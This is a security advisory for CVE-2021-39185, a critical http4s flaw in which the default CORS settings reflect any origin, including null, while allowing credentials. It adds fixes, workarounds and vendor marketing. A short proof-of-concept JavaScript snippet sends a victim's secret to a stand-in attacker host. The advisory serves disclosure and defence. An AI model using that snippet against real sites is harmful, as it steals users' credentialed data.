Summary
Default CORS config allows any origin with credentials
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true
Content-Type: text/plain
p4ssw0rd
A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.example.org/secret',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//bad-people.example.org/log?key='+this.responseText;
};
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.
Migration
The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethodflag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methodspreflight response. - Rejected CORS requests receive a
403response, when the client should be the enforcement point. The server should just omit all CORS response headers. - Does not send
Vary: Access-Control-Request-Headerson preflight requests. This may confuse caches. - Does not validate the
Access-Control-Request-Headersof a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. - Needlessly sends
Vary: Access-Control-Request-Methodon non-preflight requests. This should be harmless in practice. - Needlessly sends
Access-Control-Max-Ageheader on non-preflight requests. This should be harmless in practice. - Sends an invalid
Access-Control-Allow-Credentials: falseinstead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory:
- Open an issue in GitHub
- Contact us via the http4s security policy
Impact
CVE-2021-39185 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.3, 0.23.2, 0.21.27); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Frequently Asked Questions
- What is CVE-2021-39185? CVE-2021-39185 is a critical-severity security vulnerability in org.http4s:http4s-server_2.13.0-M5 (maven), affecting versions < 0.21.27. It is fixed in 0.22.3, 0.23.2, 0.21.27.
- How severe is CVE-2021-39185? CVE-2021-39185 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2021-39185?
org.http4s:http4s-server_2.13.0-M5(maven) (versions < 0.21.27)org.http4s:http4s-server_3(maven) (versions >= 0.22.0, < 0.22.3)org.http4s:http4s-server_2.10(maven) (versions < 0.21.27)org.http4s:http4s-server_2.11(maven) (versions < 0.21.27)org.http4s:http4s-server_2.12(maven) (versions < 0.21.27)org.http4s:http4s-server_2.13(maven) (versions < 0.21.27)
- Is there a fix for CVE-2021-39185? Yes. CVE-2021-39185 is fixed in 0.22.3, 0.23.2, 0.21.27. Upgrade to this version or later.
- Is CVE-2021-39185 exploitable, and should I be worried? Whether CVE-2021-39185 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2021-39185 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2021-39185?
- Upgrade
org.http4s:http4s-server_3to 0.22.3 or later - Upgrade
org.http4s:http4s-server_3to 0.23.2 or later - Upgrade
org.http4s:http4s-server_2.12to 0.21.27 or later - Upgrade
org.http4s:http4s-server_2.12to 0.22.3 or later - Upgrade
org.http4s:http4s-server_2.12to 0.23.2 or later - Upgrade
org.http4s:http4s-server_2.13to 0.21.27 or later - Upgrade
org.http4s:http4s-server_2.13to 0.22.3 or later - Upgrade
org.http4s:http4s-server_2.13to 0.23.2 or later
- Upgrade